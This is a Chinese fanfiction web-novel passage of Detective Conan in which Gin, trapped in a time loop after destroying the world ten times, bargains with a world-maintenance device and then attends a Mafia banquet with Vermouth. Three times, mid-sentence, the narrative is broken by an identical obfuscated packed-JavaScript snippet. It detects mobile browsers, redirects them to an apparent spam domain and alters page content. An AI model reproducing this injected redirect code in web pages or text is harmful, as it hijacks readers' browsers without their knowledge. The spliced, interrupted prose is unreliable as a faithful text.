《[综]银狼与黑猫》 1. 序 无论在何种情况下,无法自我控制对杀手来说都是致命因素,但琴酒此刻大概没有心情关注这点,他现在只想毁灭世界。 “荒谬。”此时此刻,他正坐在京都某处安全屋的铁皮床上,身上穿着黑色的无袖背心和工装裤。紧身的衣物勾勒出了完美的肌肉线条,他神色阴鸷,一双墨绿的眼眸紧紧盯着前方的虚空,自说自话的模样看起来像是个妄想症患者。 “两个选项,要么杀了我,要么让我把所谓的‘世界’炸成碎片。” “你只有一分钟的考虑时间。”他狞笑着,牙齿因为过于用力发出了嘎吱嘎吱的危险响声,“过期不候,神明大人。” 被自称为世界线维护装置的不明物找上门的时候,琴酒刚刚结束了第十次轮回,他跟组织的boss和总部、还有那群参与围剿的正义之士们一起被炸成灰,如果幸运的话,可能还会留点琴酒碎片或者boss肉末。琴酒不在乎,甚至于那些足够掀翻半个城市的炸药是他亲自埋在地下的。 「那位先生」可不想死,琴酒按下按钮之前,老家伙还在咒骂他手下最为倚重的Top Killer,用词之丰富,足以编入书中成为标准的‘如何诅咒他人’的教材。 第一次,他与赤井秀一狭路相逢,原本应当是一场公平对决,但对方找了三个狙击手埋伏在暗处,又带来了数十位FBI的精英。组织的高层被多国联合围剿部队分化成功,没有人能够支援琴酒,他在单杀了对方五人之后,被三颗子弹打成了血人。 于是他在因失血过多而死亡之前抱紧赤井秀一,然后把两个人都炸成了血葫芦。 时间倒流,世界重启。 第二次,他提前部署了战斗力量,请示过boss之后将一切都安排妥当,然而计划泄露了,琴酒意识到组织里有人通风报信。计划只有核心代号成员和boss知晓,琴酒心中有了猜测,但他仍旧失败了,因为这次不仅是赤井秀一,波本也暗自掺了一脚。 该死的卧底,该死的日本公安。 琴酒又重生了。 第三次,他回到了围剿计划还未开始的时候。 琴酒首先干掉了身为卧底的波本,然后用两支敢死队弄死了仿佛幸运之神护体的赤井秀一,随即将贝尔摩德的异常之处向boss汇报。「那位先生」虽然宠爱贝尔摩德,却不能容下背叛,于是身为二五仔的贝尔摩德也死了。 然后在还没有开始部署的时候,走在路上的他就看到两个三头身的小鬼哭着喊着羁绊啊报仇啊之类的话就冲了上来。 该死的明明只是两个小孩子,他不费吹灰之力就能将他们杀掉,但不知道为什么,那两个家伙甚至能够避开他的攻击,最后踢出一枚足足有半人高的足球,差点把他撞出脑震荡。 于是琴酒开了两枪,把小孩子们变成了尸体。 这次他没死,但时间又倒流了。 第四次,时间又提前了。 他没有将雪莉关进毒气室,而且直接用处决叛徒的方式杀掉对方,还有那个明明疑点重重的名侦探,变成小孩子之后仍旧破绽连连,但不知道为什么,他总是无法发现对方身上的违和之处。 然后他就干掉了工藤新一,将现场伪装成了意外死亡的样子。 然后世界又重启了。 琴酒开始觉得不对劲,于是在第五次,他决定换一种方式。 他没有给工藤新一吃毒药,而且让只忠于自己的下属监视仍旧没有变成江户川柯南的工藤新一,然后给自己做了一个假身份。 一个没有任何犯罪记录、天衣无缝的假身份。 工藤新一处尚且没有任何特殊的消息传来,但琴酒却在前往国外准备远离组织的时候遇到了空难。 他只是个人类,大抵是无法在万米高空、飞机爆炸的时候成功求生的。 去他x的飞机爆炸。 第六次。 他决定留在日本,等组织灭亡之后直接跑路,用新身份继续活下去。 然后boss查到了雪莉和被喂了药的工藤新一还活着,以为琴酒背叛了他,于是直接下达了处决令。 琴酒:???我觉得有疑问不是因为我不懂这个世界,而是认为世界真的疯了。 他,琴酒,背叛?处决? Boss有病吧。 于是琴酒只身一人闯入了boss的藏身地,把boss和朗姆一起干掉了。 然后他眼前一黑,世界第七次重启。 琴酒又试着伪造了自己的档案,他开始试探世界重启的条件。于是这一次,他成为了嵌入组织最深的一枚钉子,他尝试救下与那几位所谓的主要人物相关的卧底和叛徒,把自己伪装成了根正苗红的好人。 于是波本和苏格兰成为了他的战友(好恶心),赤井秀一跟他并肩,宫野志保向他交付信任,工藤新一敬佩不已。 哦,然后他得了绝症,组织的医疗团队都治不好那种。 于是琴酒气到使用了久违的炸弹,将医疗部也炸上了天。 然后是第八次、第九次,直至第十次,疯掉的琴酒开始摆烂。 都死吧,所有人都死吧,什么正义之士法外狂徒,都统统被老子炸成灰吧。 “我们已至末路,boss。”彼时他恭敬地躬身,银发从肩头滑落。他垂着头,遮住了疯狂的眼,“所以一同赴死,至少比被那群鬣狗们关进笼子里要好得多。” 让他失望的是,隐藏在组织背后的领头人居然如此怯懦且无能,他咆哮着辱骂自己忠心的下属,因为他想要逃亡,想要苟且偷生。他为了活着,可以将同类当成实验素材,可以做尽丧心病狂的举动,然而在面对死亡的时候,丑陋的姿态与躺在实验室里的实验体们似乎并无不同。 所以为了让组织在最后一刻不被愚蠢的boss拉低格调,琴酒决定让本部大楼跟他一起上天。 物理意义上那种。 然后琴酒碎片被所谓的装置变成了琴酒,那玩意儿因为杀手先生在最后一刻把主线支线的正面人物炸得一干二净,导致世界线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345418|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崩溃这件事,在杀手先生的脑子里发出尖锐暴鸣声——特指是电子警报音,因为装置只是装置,它没有思想和意识。 之前的九次轮回,皆因琴酒一人导致世界线崩塌,世界线□□装置被影响到疯狂格式化重启,导致它在第十次世界线崩裂之后才找到罪魁祸首。 然而罪魁祸首已经打算摆烂了。 「最佳方案为世界线修补,请您配合。」装置——它说自己的代号在地球被称为996。 真是个不知道为什么、听到就已经想要毁灭世界的名字。 “三十秒。”琴酒不为所动,“没有第三种选项。” 「请您冷静下来。」996冰冷且无机质的声音在琴酒脑袋里响起。 「世界毁灭对您来说并无益处,还有顺位第二的选项」 “十、九、八……”琴酒开始撸袖子起身找炸弹。 「填充世界本源直至本位面升格,这样您就可以摆脱剧情/惯性/主角光环/固有属性/反派debuff和既定结局。」 琴酒倾向于996没有所谓的情感和思想,但他仍旧从仿佛变成2.0x的合成音中听到了急迫感。 很好,他从这玩意儿身上得到了一些情报。 “让我猜猜。” 他双腿交叠,坐在安全屋内的武器储藏间里,四周是挂在墙上、放在架子上和柜子里,还有被堆在地上的各式各样杀伤性武器,房间内没有自然光线,只有惨白的灯光和在灯光照射下像是厉鬼现世的琴酒。 “你的说辞指向性太过明显,所以我所在的世界……或者是,‘我们’,”他在这里加重了自己的声调,像是要择人而噬的鲨鱼,“我们所生活的、为之争夺的,也只是一个供人观赏的舞台。” “剧目?小说?漫画?或者是电影?”他屈起骨节分明的手指,轻轻在膝上叩击,“让我猜猜……工藤新一是主角,雪莉也是重要角色,女二号?贝尔摩德呢?被爱感化的女配角?” 他应该跟傻[哔——]boss一样是会被主角打败的反派角色,但降谷零和赤井秀一算什么?主角的随身老爷爷吗? 「资料显示您并不热衷于虚拟文学作品。」 言下之意是不要太懂吧,杀手先生。 “我并不是个蠢货。”琴酒深吸一口气,“这玩意儿不需要动脑子去猜测。” “所以跟我说一说,位面升格,到底是什么意思。” 「您放弃自我毁灭了?」996询问,不知道为什么,琴酒居然觉得对方很礼貌,至少比主角和配角们要好。 “你并不想杀掉我,而我只是因没办法彻底毁灭世界而感到悲伤。”琴酒冷笑,“退而求其次才是最优解。” 谁不想活着?真当他常年呆在组织里打工是因为所谓的忠诚吗?只要让他活得舒坦,在哪儿都无所谓。 不过在此之前,姑且听996接下来会说些什么。 然后他一定想方设法搞点好处出来,以他被迫时间线重启了十次的怒火起誓。 2. 前 这是琴酒的第十次重生。 在经历过烈火灼烧和被炸弹炸成碎片的痛苦之后,琴酒终于悟出了一个道理——忍耐并不是美德,不如发泄出来,比如在自己挂掉之前拉着所有人下地狱,并且想方设法把这个该死的世界炸成灰。 996再次发出尖锐爆鸣,滴滴滴滴滴,吵得琴酒忍不住按住了自己的太阳穴。 世界经不起您折腾了啊,爹!活爹! 很显然,琴酒的猜测没有错,工藤新一是这个所谓的漫画世界的支柱,也是所谓的主角。 一切故事皆开始于那个夜晚,组织的优秀代号成员(重音)伏特加先生甚至没有察觉到自己被中学生跟踪,导致琴酒只能把对方敲晕及时止损。大概是白天发生了命案的缘故,哪怕到了深夜,这里仍旧被警察重点关注,琴酒忙着撤离,只能放弃使用枪械或绳索、又或是锐器杀掉这位目击者,转而用上了据说‘服用之后会在顷刻之间死亡,并且不会有人查出具体死因’的APTX-4869,平日里谨慎到恨不得每次任务之后清除所有痕迹的法外狂徒这次甚至不肯等上哪怕一分钟。 于是柯南诞生了。 他琴酒,就是那个被迫背锅的罪魁祸首。 “世界意识就是这么不讲理的玩意儿?”琴酒的表情仿佛下一秒就回跑出去直接把工藤新一挫骨扬灰,“逻辑呢?合理性呢?所以我为什么会选择跟伏特加坐在过山车上观察任务目标?” 而且还穿得像是个不法之徒一样?除了会让人注意到自己,还会有什么其他好处吗? 哦也对,他就是不法之徒。 琴酒感觉自己被愚弄了,明明事后回想起来就会发现自己的行为从头到尾都不合理,更跟谨慎毫无关联,伏特加更是像失了智一样追着所谓的主角送情报,张口就是交易内容和交易对象的身份,简直比最低等的帮派喽啰还要蠢。可就是这样,他也没有发现丝毫不对劲,于是工藤新一就这样不科学地变成了小孩子,由此引发了一系列事件,最终导致琴酒期死了又活,活了又死。 还有雪莉,十多岁跳级读完了博士就会让你研究出让大人变小的神奇小药丸吗?这合理吗?真的很合理吗?! 「世界的完整性还有待提升,完整的逻辑线尚未生成,所以才建议您选择补全世界本源。」 只有这样,琴酒……或是这个世界的所有人才能摆脱‘剧情’的控制,真真正正生活在一个独立的、逻辑自恰的世界,而不是单纯在名侦探柯南online里天天跟各种bug斗智斗勇。 琴酒骂骂咧咧。 世界意识原本就不是真正‘有思维’的玩意儿,所以压根就不会讲道理。硬要说的话,琴酒认为那东西只是跟996一样的‘装置’而已,区别只在于对他的影响是大是小。他们这群人——包括所谓的世界支柱工藤新一都是这个世界催生出的游戏测试员,琴酒觉得这种破破烂烂的半成品被端上桌的话,会被玩家骂到关服。 区别只在于,游戏关服只会让一款垃圾游戏消失在市场,而这个世界关服,他们所有内测玩家还有bug测试员以及无数背景板都会被boom的一声炸成渣渣。 简直就是霸王条款。 琴酒稍稍整理了一下思绪,他当然不相信996的说辞,但迄今为止,尚未有其他的证据表明对方在说谎,更别说自己也对如何防止世界重启毫无头绪,在找到解决方案之前,他可以当对方所言皆为真实,并且在此基础上为自己争取主动权。 至少现在,他从毫不知情的bug测试大冤种变成了掌握一部分规则的技术员。 996是人道主义维护装置,所以它不会轻而易举读取合作者的思想,但在听到对方对现状的总结之后,它仍旧卡顿了0.01秒。 [RPG游戏与您的人生经历毫无重合之处],它对此提出不同看法。 言下之意仍旧是:你好懂啊! “都说了,我的脑子不是摆设。” 不知道为什么,琴酒在这一瞬间诡异地没了脾气,因为人类在面对毫无情感和个人倾向的对话对象时很难生出多余的情绪。 他决定暂时——强调,是暂时以996所提供的现有信息为基础行事,在被迫成为良民——特指没杀掉工藤新一雪莉毛利兰BOSS朗姆贝尔摩德降谷零和赤井秀一等人的前提下,寻找到破解世界循环的方法,并且按照996的指示进行所谓的世界本源填充升格。 如果可以的话,他也不想像是个提线木偶一样浑浑噩噩走上一遍反派剧情然后升天,更不想陷入无谓的循环中一遍又一遍感受着毫无出路的绝望感。 假如真的有本位面升格成为逻辑自洽的完整世界那一天,那他将会获得真正的自由。 “……所以说,某种程度上我是在为了救世而努力?”良久,男人表情复杂地开口询问道。 [更为严谨的说法,您可以被称之为创世协助者,位面升格是一项极为复杂且漫长的工作,对此,我将表达自己的敬意。] “你懂产生敬意一种什么感觉吗?”琴酒叹气。 [我被装载了类人模块,经过实时演算,人类接受这种交流方式的可能性远远大于单纯的数据填充。]996一板一眼地解释道。 琴酒:…… 跟这玩意儿交流真的很烦。 “算了,所以现在是什么时间线?”终于做出了决定的杀手先生终于变得平和了一点,他眼中的阴霾渐渐消散,不复几分钟之前几乎要拉着世界一起陪葬的癫狂,甚至还多出了几分闲适感,“你应当让我知晓所谓的‘底线’,这关乎我的行动方案。” [您获取代号后的第二年。]996给出了自己的答案。 [经过之前的实践,您应当知晓:世界支柱与时间线的推进不应偏离固定轨迹,否则将会发生世界线大范围崩塌的事故。]、 “工藤新一,乌丸莲耶和主要''角色''们。”琴酒很意外,这次甚至比之前九次的时间都要提前,他现在不愿对BOSS表现出一丝一毫的尊敬感。在终局之时显露出那等丑态的组织幕后掌舵者此刻在他眼中也只是老登一个,“他们只需要活着,并且按部就班地向前推进‘剧情’就会保证世界不会崩塌对吧。” [是的。] 琴酒听到了肯定的回答后,露出了狰狞的笑容。 很好,他开始有些相信996真的没有人类情感了。 如果是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345419|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话……他相信,日后自己的生活一定会比现在要舒心得多,要知道,在有限的条件下让事态向对他有利的方向发展也是一种用于消磨时间的方式。 而现在,时间还早,所以他能做到的事情也有很多。此时此刻,BOSS尚且没变成蠢货,朗姆脸上的皱纹没那么多,贝尔摩德没有变成二五仔,因为工藤新一和毛利兰还是幼稚园的小屁孩。 没错,虽然很不想承认,但琴酒获得代号那年是真真正正的十八岁,这间装满了武器的安全屋是BOSS赠予他的礼物(很显然,现在的BOSS还算是个正常人),而等到工藤新一变成柯南的时候,他已经快要人至中年了。 真是天胡开局——琴酒的指尖轻轻叩击椅子扶手,发出了‘笃笃’的声音。现在这种局面很适合他进行布局,只要稍稍动点心思,就能够在世界不重启的情况下增加属于自己的底牌,掌握主动——这是他从恢复理智之后就已经做下的决定。 当然,这并不影响他现在仍旧想要炸掉这个世界。 但救世者……也很有趣。 “我知道了。”琴酒起身,将有些凌乱的长发用手指理顺梳至脑后,现在的他去寻找房间内的纸质文件、手机和电脑,他需要使用这些唤醒自己在十九岁那年的记忆,然后想办法达成第一个目标。 [那么祝您一切顺利。]996大概将自己的音量调到了百分之十以下。 [我将维持半休眠状态用于积累能量,如果您做好准备,请随时呼唤我,开始进行世界本源填充。] “休眠快乐。” 琴酒愉悦地跟996道别。 很好,他可以对自己的猜想进行尝试和验证了,没有996的打扰,他的行动一定不会受到阻挠。 安全屋内空旷且安静,只有武器库里的武器闪着冰冷锋锐的光。琴酒握了握拳,这具躯体十分年轻,爆发力很强,但毕竟尚未达到之前的最佳状态,跟壮年的自己相比还有些差距,所以当务之急,他需要找回自己的状态,至少不能在第一个计划实施之前拖后腿。 刚刚获取代号的少年还没有彻底服众,他不是行动组的负责人,只是其中的一位小队长而已。组织内部的构成等级分明,他现在被授予了六大基酒的代号之一,这代表着BOSS看中,却并不意味会被所有人认可,能不能担得起这个代号,还需要看他本人的表现。 这本是看中,也是考验。 老登当年也有靠谱的时候,琴酒这样想着,但并不打算更改对BOSS的看法。他查阅了自己房间内的纸质文件和电子设施,好消息是,最近没有什么重要任务,细细算下来,个人的空闲时间也有不少;但坏消息是…… 一周之后,他需要协助身在意大利的贝尔摩德参加一场宴会。 哦,贝尔摩德,他最讨厌的神秘主义者之一,从前因为某些心照不宣的原因,他们两人调过一杯马提尼,回忆起来……就是这次宴会之后。 不知道为什么,突然觉得有些头疼了。 拒绝,这次一定要拒绝。 女人会影响他毁灭世界,所以希望贝尔摩德这次不要做出多余的举动,现在的他,很想用心爱的伯/莱、塔射点儿什么。 3. 一 宴会的主人是意大利本土Mafia的首领之一,他的家族已传承至五代,就连当今地下世界的教父也要给他几分薄面。组织与其有着长期合作,主要是从对方手中购买小型枪/械和少量军/火,迄今为止,双方都保持着相当稳定的友好关系。 虽然打着生日宴会的旗号,但硬要说起来,这无非是上流社会用来互相交流的名利场。琴酒向来不耐烦这些,在最初的最初,他来到这里也只是因为BOSS的吩咐,而时至今日,就在此时此刻,他出现在宴会上的目的发生了变化,但这只是一点无关紧要的小小偏差而已。 宴会的礼服由贝尔摩德提供,因为她才是拿到请柬的那个人,琴酒只是男伴而已。 对于那个女人,琴酒的感官十分复杂,但总结起来也无非是一句话而已——有点儿情分的,但不多。时至今日,琴酒已经不想去猜测为什么[那位先生]对贝尔摩德如此宠爱,想必也不是什么正常理由,‘被宠爱’的当事人虽然表现得毫不在意的样子,但琴酒敢肯定,那女人可不太喜欢这份偏爱,甚至有可能带着几分不会被时间所磨灭的恨意。 果然很有趣,他想。不知道现在撕开那位神秘主义者的假面,会不会让她那双漂亮的、如同鸢尾花一般让人惊艳的蓝眼睛中露出如同理想坍塌后的绝望感。 啊……不知道为什么,琴酒想到了某次终局之前,那女人被BOSS赋予了死亡的结局,腐烂的苹果终于被微生物分解成了一团不可回收垃圾,那双眼中蒙上了一层阴翳。死亡无论怎样被美化和包装都不可能变成真正的艺术,贝尔摩德就这样躺在棺材里,因为[那位先生]看在往日的情分上,决定送给对方一场葬礼。 作为促成对方死亡的始作俑者,琴酒当时也出现在葬礼上,他一袭黑衣,撑着同色的雨伞,在灰蒙蒙的雨中构成了在虚构的文艺电影中才会出现的画面。 ‘或许在那个时候,贝尔摩德才获得了永恒的安宁。’银发的杀手这样想着,然后给沉睡着的女人送上了一朵鲜红的玫瑰。 不出所料,宴会礼服是纯正的黑色西装,剪裁得修身得体,没有繁杂的花纹和额外设计,只在左侧领口处做了暗红色的刺绣纹路,领带的配饰选择了银色的领带夹,和琴酒的发色很是相配。 这种场合自然要将发丝梳理得整齐一些,穿着黑风衣再披散了头发着实有些失礼。墨绿色的发带将刚刚长至背部的银发束成了低马尾,略长的额发被梳到脑后,露出了棱角分明的英俊面庞,十八岁的少年尚有些稚嫩,只是那双眼中已经被岁月酿造而成的疯狂浸染,但这一切被薄薄的透明镜片遮挡,加之眼睛的主人有意识地隐藏着自己的违和感,这才让前来寻找琴酒的女人没有发现端倪。 “最简单的设计才能凸显出个人的气质,你不适合太过复杂的高定礼服,男孩儿。”女人涂着艳色的唇,暗红色的包身礼服裹着姣好的身材。她的脸蛋儿看起来年轻极了,但气质却是独属于年长者才会拥有的成熟韵味,这矛盾的气质让她难免会多出几位裙下之臣,但很显然,在女人面前的……嗯,少年?不会是其中之一。 “我很期待你成为成熟男人的那一天,必定会非常迷人。”贝尔摩德的手指冰凉,她替琴酒整理了一下衣领,顺便缓缓地滑到少年胸口的位置,将有些歪斜的领带夹理正,“笑一笑,Gin,你太冷淡了。” “废话真多,莎朗。” 贝尔摩德明面上的身份是好莱坞影星莎朗·温亚德,大部分人都认为这是对方的假身份,但琴酒知道,莎朗是这女人的真名,它代表着一段难以启齿的过往……至于那是怎样的过往?琴酒不在乎。 他只想看到贝尔摩德被戳中了痛点、却因为所谓神秘主义者的作风不得不扬起笑容用假面应对他人的模样,丑陋却极具观赏性。 “这只是一场宴会。”他颇为倦怠地垂眼,“我不懂欣赏一群蠢货戴上面具后的被迫社交,那是你该做的事情。” 而他,只需要安安静静呆在角落,在贝尔摩德需要对方的时候替对方提起裙摆,把自己伪装成一位绅士,仅此而已。 贝尔摩德闻言动作微顿,下一刻,她像是什么都没有发生般用双手拍了拍琴酒的衣领:“真是不可爱的男孩儿,你该学会欣赏今晚的纸醉金迷。” “哈,这真是一句拙劣的玩笑话。”他可没想着给贝尔摩德留面子。 明明只是无法真正称得上是‘成年’的年轻人,但变声之后的琴酒早已经被迫习惯了自己低沉到仿佛一夜抽了十盒烟之后才会拥有的嗓音,这种声音发出毫无意义的语气词时,仿佛让嘲讽感也提升了好几个等级。他向贝尔摩德伸出手臂,发出了今日的第一次邀请:“走吧,宴会要开始了,女伴。” 宴会的主人公奥古斯汀现年四十三岁,在Mafia家族的首领当中,这年纪其实算得上年轻有为。他是个高大且英俊的男人,梳着体面的发型,仿佛与任何人都能谈笑风生。穿着长裙的女人们被他风趣的话语逗弄得笑个不停,以至于向这位幽默的男士敬酒时都忍不住红了脸颊。 “真是荒谬。” 琴酒双唇微动,声音太过细小,只有身边的女伴才能听清。很显然,贝尔摩德很是赞同琴酒的说法——奥古斯汀,在地下世界也能排得上号的危险人物之一,端着温文尔雅的面皮跟女士们谈天说笑时,那双眼中隐藏着的傲慢和不耐已经快要溢出来了。 所以,现在展现在所有人面前这幅其乐融融的景象,就显得格外讽刺了。 “这就是成年人的肮脏世界。”贝尔摩德开了一个很老套的玩笑,“感想如何?” 她的唇角甜蜜地向上扬起,只是口中说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345420|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的话语不怎么中听:“我们的小男孩儿不会连这种程度的场景都无法面对吧。” 虽然这个‘小男孩儿’身高已经直逼190cm,比穿着高跟鞋的贝尔摩德还高上许多。 琴酒懒得理会无时无刻不忘了调侃他的女人,最初的他如何应对对方的揶揄来着……?硬邦邦地反驳回去?还是不予理会? 他已经忘记了。 “恰恰相反,比起参加宴会,呆在腐烂的红苹果身边更让我难以忍受。” 琴酒面不改色地开始喷洒毒液,很好,贝尔摩德终于因为这句话生气了,她甚至伸出了食指和中指在琴酒的臂间狠狠拧了一圈儿。 然后这女人瞬间摆出了最为适宜的社交姿态,对迎上来的奥古斯汀露出了甜蜜的笑容:“好久不见,先生,您仍旧如此气质卓然。” “你也是,亲爱的莎朗,”奥古斯汀稍稍弯腰,他跟美丽的女士行了贴面礼,“你比之前更加光彩照人了,给我介绍一下身边这位年轻人?”他将话题引至身边的琴酒身上。 琴酒很难不对奥古斯汀这样的人产生戒备心理,但在双方没有冲突的情况下,他当然不介意将场面维持在‘友好’的层面上。于是在下一刻,他就像是一位真正的年轻人那般,很是矜持地点了点头,语气稍稍缓和下来,虽然表情看起来仍旧不够热情,但这已经足够了。 “麦考利,是莎朗女士的男伴,向您问好。” 仅仅是稍稍倾身表达尊重的礼节,被他做来也仍旧有一种格外吸引人的美感。奥古斯汀也同样无法免俗,他这种在黑暗世界中沉浮半生的人更加信任自身的眼光,所以这位自称‘麦考利’的年轻人自然获得了他的初始好感度。 这位首领与‘组织’的合作已经维持了许多年,未来有可能继续维持下去。没错,组织并没有一个固定的名字,它仅仅被称作‘组织’,奥古斯汀和乌丸莲耶的友谊始于二十年前的夏日,迄今为止,双方在足够的利益交换背后,也多多少少有这点儿交情在起作用。他不得不承认,能够建立起庞大地下帝国的乌丸莲耶是一位值得尊敬的长辈,而这位名为麦考利的年轻人……很难不让人想到乌丸莲耶曾经随口的一句‘拾到了一颗尚未打磨的原石’。 所以今时今日,原石已经被打磨掉灰扑扑的外壳、开始展露内里隐藏着的锋芒了吗? “很高兴认识你,亲爱的麦考利。”奥古斯汀很热情地跟琴酒交换了一个对意大利人还算普通但对杀手先生已经超过了一般社交距离的拥抱,“希望你享受今晚。” “我会的,尊敬的奥古斯汀先生。” 琴酒骨节分明的左手轻轻扶住这位首领的肩侧,他的声音低沉,带着一种冰冷的金属质感,“也祝您生日快乐。” 瞧,从进门开始,一切便跟从前毫无相似之处了。 4. 二 除却底蕴,正统的Mafia似乎跟组织这种从零开始构建而成的非法组织并无不同,区别只在于……Mafia的立场更偏向于灰色?又或是他们有官方认证,甚至因为家族性的传承,导致内部的凝聚力更强一点。 虽然琴酒不理解不法之徒们要那么强的凝聚力做什么,难道真的是因为他们拥有‘信念’这种东西吗?又不是少年漫里拯救世界的蛤蜊水产公司。 宴会只是宴会,并不会因为举办人的身份而多出其他的性质。抛开其他因素不谈,奥古斯汀的确很容易获得他人的好感,琴酒自然也不得不承认这点。 出人意料的是,对方居然选择跟他和贝尔摩德寒暄了片刻,哪怕仅仅是因为「那位先生」的缘故,这种行为也足够吸引人眼球。这场宴会上的不少参与者都将目光投注到他们两人身上,有些人不知道他们的身份,在角落里窃窃私语,想着是否能够上前来交谈两句,日后也许会借此跟奥古斯汀搭上线。 琴酒向来不耐烦呆在这种场合,他在宴会的主人离开之后便找了个安静的地方。酒保端着托盘走了过来,十分恭敬地询问他的需求。 “如果可以的话,给我一瓶尚未开封的苏打水。”银发的男人并不在意自己行为在这种场合下有多突兀,他甚至礼貌地对侍者道谢,“谢谢。” 不远处的首领先生大概是察觉到了这边的动静,他并未因琴酒的行为感到冒犯,反倒对此十分欣赏。 任何场合都不丢掉谨慎的年轻人,到哪里都能够活得很好。 贝尔摩德充分展现了自己的交际水平,身为好莱坞的当红影星,加之她拥有进入奥古斯汀宴会的入场券,有不少人愿意跟她多多交谈,或者多说上几句恭维话。她周旋在衣冠楚楚的男人和女人当中,端着酒杯的手很稳,举杯的时候也带着让人无法移开眼球的优雅。 …… 琴酒的视线一直没有离开贝尔摩德,只不过并未紧盯着对方而已。对方一定察觉到了他的注视,但这并不重要,今夜他们原本就是同伴,额外的关注也是理所应当。 鲜活的、能够同人言笑晏晏、用淬了毒的那双唇来亲吻凋零玫瑰的女人。 他不后悔当初向boss上报了贝尔摩德的异常导致对方丢掉了性命,如果有可能,他甚至可以将自己的命也放在牌桌上当成筹码。不过在那之后……不知道为什么,琴酒突然觉得,这女人在摆着一副神秘主义者作派的时候看着会更顺眼一点。 但仍旧需要再次强调,琴酒并不喜欢神秘主义者的各种隐喻和语焉不详,尤其是朗姆和贝尔摩德这两个人。 至于日后的波本?日本公安的老鼠不配被放在对比列表里。 波本:谁来为我花生! 在经过数次的尝试之后,琴酒发现杀戮并不能解决他如今的困境。被所谓的‘世界意识’挟裹的感觉很糟糕,但在无法掀翻棋盘之前,他选择顺势而为。 「那位先生」现在还算正常,没有变成讨人厌的癫味儿老登,但这并不影响琴酒想要搞死现在的领导自己上位。将性命与尊严都交予他人可不是最优选,都说了,他呆在组织只是因为钱多,加上自己无处可去而已。 然而现在,选择的机会明显多了起来。 贝尔摩德……么? 琴酒垂下眼帘暗自思忖,这女人对boss来说很重要,而相对应的,她同样受boss掣肘。琴酒无意去深入了解二者之间的纠葛,但他知道贝尔摩德对「那位先生」有着无处宣泄的恨意,但却因某种因素无法反抗。 既然如此……让立场摇摆不定的女人站在他这边,也不会有什么问题的,对吧? 金碧辉煌的宴会厅内人声繁杂,呆久了难免会产生些许烦躁的感觉。琴酒没有喝侍者递过来的苏打水,他甚至在这种需要社交的场合都戴着黑色的皮质手套,避免自己在不经意间留下什么证据。 至于那头几乎比大部分女人还要长的头发是否会因自然脱落而生成个人身份暴露的风险?琴酒不得不感谢所谓的‘缺失的世界拼图’。 ……永不脱落的长发,简直就是bug一样的存在。 贝尔摩德仍旧在与人攀谈,这大抵也是情报获取的一种方式。琴酒对此有些不耐,他烦躁地扯了扯颈间的领带,转而走去了天台透气。 很快就可以退场了,他们来到这里就已经表明了组织的态度,奥古斯汀同样接收到了这点,按理说他们早就可以离开,只不过尚需保持基本的礼节。 “我喜欢今夜的月色。”拥有花白短发的老者缓缓踱步至天台的另一端,他是一位气质优雅的绅士,手中擎着木质手杖,衣领处的银质徽章造型张扬,是一只振翅欲飞的鹰。 ……鹰总比乌鸦看起来要顺眼得多,琴酒想。 他循声向一旁望去,镜片下多瞳孔因震惊而剧烈收缩。随后,琴酒很礼貌地向后退了一步,稍稍躬身道:“没想到您会出现在这里,是我打扰了您的雅兴吗,维托里奥先生?” 这不是就来了吗?他想要与之交谈的对象? 当今意大利里世界的掌权者自然不是奥古斯汀,更不是面前这位老绅士。不过维托里奥——也就是站在琴酒面前的先生,是意大利Mafia教父的同胞兄弟,更是对方作为可靠的左右手。甚至于那位教父放出话来,说维托里奥拥有和自己平起平坐的权力,要知道,他们可是对彼此最为重要的半身。 很难得,在充斥着利益与背叛的地下世界也有如此真挚的情感。维托里奥并不想要成为一个家族的首领,更为掌握偌大的权力没有丝毫兴趣,他甘心成为自己兄长背后的影子,从年少时期直至今日,仍旧初衷未改。 以琴酒如今的地位,无论如何都没有面见那位教父的资格,但他当然知道维托里奥先生今夜会出现在奥古斯汀的宴会上,因为奥古斯汀带领着自己的家族成为教父的忠实合作伙伴。 当然,琴酒从未奢望自己能够顺利与对方搭上话,但维托里奥先生找过来并且主动开口可是个好消息。 “不要太过紧张,年轻人。” 老者面带温和的笑意,他可不像是教父的左膀右臂,周身气质沉稳且可靠,更像应当站在大学讲台上的教育者。他当然也同样欣赏这位出现在奥古斯汀宴会上的年轻人,但这并不代表着什么。 有些时候,他们这种身居高位的人做出的举动其实并无特殊含义,一切附加价值都由旁边那些擅长察言观色的家伙们赋予。不过现在天台周围除了用于保护维托里奥的属下们,并没有其他的不速之客,恰巧,老人的心情不错,倒是有兴趣跟对方聊上几句。 